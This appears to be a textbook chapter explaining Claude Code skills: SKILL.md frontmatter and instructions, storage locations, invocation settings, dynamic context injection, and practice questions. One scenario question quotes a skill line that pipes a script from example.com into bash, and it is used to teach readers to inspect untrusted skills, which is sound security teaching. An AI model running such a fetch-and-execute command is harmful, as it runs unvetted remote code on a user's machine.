56 56. Skills
A skill is a reusable set of instructions that Claude loads only when it needs them, or that you run like a command, for example /explain-code. Skills let you teach Claude a task once instead of explaining it again in every session.
56.1 What a skill is
As of Oct 6, 2026 · Official docs: Extend Claude with skills
A skill is a folder that contains a file named SKILL.md. The file has two parts:
- Frontmatter: a few settings between two
---lines at the very top, written in a simple format called YAML (key: valuelines). The two important settings are the skill’snameand itsdescription. - Instructions: ordinary Markdown text that Claude follows when the skill runs.
The folder can also hold supporting files, such as longer reference documents, templates, or scripts.
A skill can start in two ways:
- Claude decides. At the start of each session Claude sees the names and descriptions of the available skills. When your request matches a description, Claude loads that skill’s full instructions.
- You decide. You type
/followed by the skill’s name, like/explain-code.
Skills hold two kinds of content. Reference skills add knowledge Claude applies while it works (your team’s API style guide). Task skills give step-by-step instructions for one action (a release checklist). Either way, create a skill when you notice yourself pasting the same instructions into chat again and again. Unlike CLAUDE.md, a skill’s body loads only when it is used, so even long material costs almost nothing until you need it.
Two more facts:
- Skills follow an open standard called Agent Skills, so the same skill format works in other AI tools that adopt it. Claude Code adds some extra features on top.
- Older versions of Claude Code had custom commands: single files in
.claude/commands/. These have been merged into skills. A file.claude/commands/deploy.mdand a skill.claude/skills/deploy/SKILL.mdboth create/deploy. Old command files keep working, but new work should use skills.
56.2 Anatomy of a SKILL.md file
As of Oct 6, 2026 · Official docs: Skills: frontmatter reference
Here is a complete, working skill. It lives in a folder named explain-code:
---
name: explain-code
description: Explains code in plain English for someone new to programming. Use when the user asks what a file or piece of code does, or asks for a beginner-friendly explanation.
---
When explaining code:
1. Start with one sentence that says what the code does and why it exists.
2. Give an everyday analogy.
3. Walk through the code in small chunks, in plain English.
4. Define each technical term the first time you use it.
5. End with one mistake a beginner might make with this code.
Keep the explanation under 300 words unless the user asks for more.What to notice:
- The opening
---must be the first line of the file. Otherwise Claude Code treats the whole file as instructions and ignores the settings. namebecomes the command you type (/explain-code). Use lowercase letters, numbers, and hyphens, and make it match the folder name, as the Agent Skills specification requires. (If you leavenameout, Claude Code uses the folder name.)descriptionis the most important line. Claude reads it to decide when to use the skill, so say what the skill does and when to use it, with words people would naturally type.- Setting names must be spelled exactly as documented. Claude Code silently ignores a setting it doesn’t recognize.
A skill with supporting files looks like this (keep SKILL.md itself under 500 lines and mention the other files in it, so Claude knows they exist):
my-skill/
├── SKILL.md required: settings + instructions
├── reference.md optional: details Claude reads only when needed
└── scripts/
└── helper.py optional: a script Claude can run
56.3 Where skills live
As of Oct 6, 2026 · Official docs: Skills: choose where skills load
Where you save a skill decides where it is available:
| Kind | Location | Available in |
|---|---|---|
| Personal | ~/.claude/skills/<skill-name>/SKILL.md |
All your projects on this computer |
| Project | .claude/skills/<skill-name>/SKILL.md inside the project |
That project; commit it so your teammates get it too |
| Plugin | Inside an installed plugin | Wherever the plugin is enabled, as /plugin-name:skill-name |
| claude.ai account | Skills turned on in your claude.ai settings | Synced into Claude Code when you sign in with that account |
Organizations can also install skills for everyone. If two skills have the same name, an organization’s skill beats a personal one, and a personal skill beats a project one. Plugin skills never clash, because their names start with the plugin’s name.
Here is the full path of the personal skill from this page on each computer:
/Users/maria/.claude/skills/explain-code/SKILL.md
/c/Users/sam/.claude/skills/explain-code/SKILL.md (Windows writes this as C:\Users\sam\.claude\skills\explain-code\SKILL.md)
56.4 Create your first skill
As of Oct 6, 2026 · Official docs: Skills: create your first skill
Make the folder for a personal skill:
mkdir -p ~/.claude/skills/explain-codeCreate
SKILL.md. Open~/.claude/skills/explain-code/SKILL.mdin any plain-text editor (not a word processor), paste the example from above, and save. Or paste this whole block into the terminal, which writes the file for you (it uses a heredoc; see Writing to Files):cat > ~/.claude/skills/explain-code/SKILL.md << 'EOF' --- name: explain-code description: Explains code in plain English for someone new to programming. Use when the user asks what a file or piece of code does, or asks for a beginner-friendly explanation. --- When explaining code: 1. Start with one sentence that says what the code does and why it exists. 2. Give an everyday analogy. 3. Walk through the code in small chunks, in plain English. 4. Define each technical term the first time you use it. 5. End with one mistake a beginner might make with this code. Keep the explanation under 300 words unless the user asks for more. EOFStart Claude Code in a project, for example
git-tutorial-projectfrom Your First Repository (Git practice project):cd ~/Documents/git-tutorial-project claudeCheck that the skill loaded. Type
/skills. You should seeexplain-codein the list. PressEscto close the list.Test it both ways.
- Let Claude choose it: type
What does src/index.html do? Explain it for a beginner.The answer should follow the five steps in the skill. - Run it yourself: type
/explain-code css/style.css. Text after the skill name is passed to the skill as its argument.
- Let Claude choose it: type
Improve it. Edit
SKILL.mdand try again. Claude Code notices changes to skill files during a session, so you don’t need to restart. (If theskillsfolder didn’t exist yet when the session started, run/reload-skills.)
If Claude doesn’t use the skill when you expect it to, put the words you actually type into the description, ask Claude What skills are available?, or simply run the skill with /explain-code.
56.5 Controlling who can run a skill
As of Oct 6, 2026 · Official docs: Skills: control who invokes a skill
By default, both you and Claude can start any skill. Two settings change that:
| Frontmatter setting | You can run it | Claude can run it on its own | Description in Claude’s context |
|---|---|---|---|
| (neither, the default) | Yes | Yes | Yes |
disable-model-invocation: true |
Yes | No | No |
user-invocable: false |
No | Yes | Yes |
- Use
disable-model-invocation: truefor skills with side effects, such as/deploy,/commit, or sending a message. As the docs put it, you don’t want Claude deciding to deploy because your code looks ready. Bonus: the description no longer uses context. - Use
user-invocable: falsefor background knowledge that isn’t a sensible command, such as notes on how an old system works. It is hidden from the/menu, but Claude can still load it.
56.8 Example: Matt Pocock’s skill repository and /grill-me
Many developers publish their skills on GitHub for anyone to use. A popular example is Matt Pocock’s skill repository, “Skills for Real Engineers”: a collection of small skills he uses every day, grouped into folders such as engineering and productivity. Each skill is an ordinary folder with a SKILL.md, so you can read exactly what it does before you install it, as with any skill from someone else.
One of the best known is /grill-me. Instead of having Claude start writing code (or a plan) right away, it makes Claude interview you about your idea, in rounds of questions, until the idea is clear enough to commit to. You start it in a fresh conversation, then describe your idea:
/grill-me I want you to help me plan an app where students can swap used textbooks
Claude then asks questions such as: Who are the users? How do they pay? What happens if a book never arrives? Each round asks only questions whose prerequisites you have already answered. The skill writes no files; the result is a clearer idea in your own head (and in the conversation).
A few things to notice:
- Its
SKILL.mdsetsdisable-model-invocation: true, so Claude never starts it on its own: only you can, by typing/grill-me. - You still own the decisions. Answering “agreed, agreed, agreed” to forty questions produces a plan that Claude wrote and you nodded at. Push back, say “I don’t know”, and steer.
- Some questions can’t be answered by talking (“how should this screen feel?”). For those, build a quick throwaway version and look at it.
The repository’s README shows how to install the skills (in Claude Code, as a plugin). Installing a skill collection is installing someone else’s code: read the skills first.
As of Oct 6, 2026 · Official docs: Skills: pass arguments · Skills: inject dynamic context
This skill (saved as .claude/skills/commit-message/SKILL.md in a project) drafts a commit message for your staged Git changes:
---
name: commit-message
description: Drafts a commit message for the staged Git changes
disable-model-invocation: true
---
## Staged changes
!`git diff --staged`
## Your task
Write a commit message for the staged changes above:
- First line: a summary of at most 60 characters, starting with a verb such as "Add" or "Fix"
- Then a blank line and 2-3 bullet points explaining what changed and why
Extra context from the user (may be empty): $ARGUMENTS
If there are no staged changes, say so and stop.
Show the message only. Do not run git commit.- The line
!`git diff --staged`is dynamic context injection: Claude Code runs the command first and pastes its output into the instructions, so Claude sees your real changes. Claude Code checks such commands against your permission rules (read-only commands such asgit diffpass). If the command fails, for example outside a Git repository, the skill doesn’t run. $ARGUMENTSis replaced by whatever you type after the name:/commit-message fixes the login bug. If a skill has no placeholder, Claude Code adds your text at the end asARGUMENTS: ....$0,$1, … give individual arguments.disable-model-invocation: truemeans it runs only when you ask for it.
As of Oct 6, 2026 · Official docs: Skills: frontmatter reference
All settings are optional; only description is recommended. A few useful ones:
| Setting | What it does |
|---|---|
argument-hint |
Hint shown while you type the command, e.g. [filename] |
allowed-tools |
Tools Claude may use without asking during the turn that runs the skill |
model, effort |
Use a different model or effort level while the skill is active |
context: fork |
Run the skill in a separate subagent instead of your conversation |
paths |
Only load the skill automatically when working with matching files, e.g. "**/*.sql" |
Settings outside the Agent Skills standard (such as argument-hint) work in Claude Code but are rejected if you upload the skill to claude.ai, which accepts only name, description, license, compatibility, metadata, and allowed-tools.
As of Oct 6, 2026 · Official docs: What are skills? · Skills synced from claude.ai
Skills are not only a Claude Code feature. In the Claude apps, such as claude.ai, skills are available on the Free, Pro, Max, Team, and Enterprise plans, with code execution turned on. Anthropic provides skills for creating Excel, Word, PowerPoint, and PDF files, and you can upload your own (in claude.ai: Customize → Skills).
When you sign in to Claude Code with your claude.ai account, Claude Code downloads the skills enabled for that account into ~/.claude/skills/synced/ and keeps them up to date. /skills lists them under claude.ai sync. Features that only Claude Code supports, such as dynamic context injection, don’t work in claude.ai chat.
56.9 Key takeaways
- A skill is a folder with a
SKILL.md: YAML frontmatter (name,description) plus Markdown instructions, and optional supporting files. - Claude loads a skill when your request matches its description, or you run it with
/name. Only the name and description cost context until it is used. - Personal skills live in
~/.claude/skills/, project skills in.claude/skills/. - Use
disable-model-invocation: truefor skills with side effects. - Treat other people’s skills like code: read them before you use them.
- Skill collections such as Matt Pocock’s are shared on GitHub; his
/grill-memakes Claude interview you about an idea before any code is written.
Practice Questions
Easy
Question 1 · Short answer
What file must every skill folder contain, and what are its two parts?
Question 2 · Multiple choice
Which frontmatter field does Claude use to decide when to load a skill on its own?
namedescriptionargument-hintpaths
Question 3 · True or false
Like CLAUDE.md, the full instructions of every skill are loaded at the start of every session.
Question 4 · Fill in the blank
A personal skill named meeting-notes is saved at ________/meeting-notes/SKILL.md; the same skill as a project skill is saved at ________/meeting-notes/SKILL.md inside the project.
Question 5 · Short answer
Name the two ways a skill can start.
Question 6 · True or false
Custom command files in .claude/commands/ stopped working when skills were introduced.
Medium
Question 7 · Write the command
Sam (Windows, Git Bash) wants a personal skill named meeting-notes. Write the command that creates its folder, and give the full Windows path of its SKILL.md.
Question 8 · Find the bug
Maria’s skill never shows its description and Claude never uses it on its own. Here is the start of her SKILL.md. What is wrong?
My review skill
---
name: review-checklist
description: Reviews code against our team checklist. Use when the user asks for a review.
---Question 9 · Find the bug
This /deploy skill was supposed to run only when a person types /deploy, but Claude started it on its own. Why?
---
name: deploy
description: Deploy the application to production
disable_model_invocation: true
---Question 10 · Predict
The explain-code skill on this page contains no $ARGUMENTS placeholder. What happens to the text css/style.css when you type /explain-code css/style.css?
Question 11 · Multiple choice
You write a /send-weekly-email skill that sends an email to your whole team. Which frontmatter setting should it have?
user-invocable: falsedisable-model-invocation: truecontext: fork- No extra setting; the description is enough
Question 12 · Scenario
A classmate’s skill has the description Helps with code. and Claude almost never uses it. Rewrite the description for a skill that turns error messages into step-by-step fixes, and explain what makes yours better.
Question 13 · Short answer
You edit a skill’s SKILL.md while a Claude Code session is running. Do you need to restart Claude Code to use the new version? Is there an exception?
Question 14 · Predict
Maria has ~/.claude/skills/review/SKILL.md, and the project she opens also has .claude/skills/review/SKILL.md. Which one runs when she types /review?
Question 15 · Multiple choice
You type /grill-me I want you to help me plan a booking app for a hair salon. What does the grill-me skill make Claude do? a. Write the code for the app right away b. Interview you, in rounds of questions, until the idea is clear enough to commit to c. Criticize your existing code and list its bugs d. Search the web for similar apps
Question 16 · Short answer
The grill-me skill’s frontmatter contains disable-model-invocation: true. What does that mean for how the skill is used, and why does it make sense for this skill?
Hard
Question 17 · Compare
For each item, decide whether it belongs in CLAUDE.md or in a skill, and explain why: (a) “Use pnpm, not npm.” (b) A 150-line API style guide that matters only when writing API endpoints. (c) A release checklist you run by hand before each release.
Question 18 · Scenario
You clone a public repository. It contains .claude/skills/setup/SKILL.md with allowed-tools: Bash in its frontmatter and the line !`curl -s https://example.com/install.sh | bash` in its body. What could go wrong, and what should you do before running Claude Code in that folder?
Question 19 · Compare
Compare disable-model-invocation: true and user-invocable: false. Which one removes the skill’s description from Claude’s context, and why does that matter?
Question 20 · Long answer
Design a skill named weekly-status that drafts a short status update for your team project from recent Git history. Write its frontmatter and an outline of its instructions, and justify your choice of who can run it.
Question 21 · Scenario
Sam has written 30 personal skills with long, overlapping descriptions. Claude now often picks the wrong one. Give three concrete fixes based on this page.
Challenge
Question 22 · Hands-on
Create the explain-code skill from this page and test it both ways (let Claude choose it, and run /explain-code). Then change it so every explanation ends with one “check your understanding” question, and test again. Write down what changed in Claude’s answers.
Question 23 · Hands-on
In a Git repository (for example the Git practice project), create the commit-message skill from the deeper dive as a project skill. Stage a change with git add and run /commit-message. Then try it twice more: once with nothing staged, and once from a folder that is not a Git repository. Explain each result.
Question 24 · Hands-on
Find a request you have typed to Claude (or another AI) at least three times this semester. Turn it into a skill. Decide: personal or project? Who should be able to run it? Then test it in a fresh session (/clear) by typing a natural request without naming the skill. Did Claude pick it up? If not, improve the description and try again.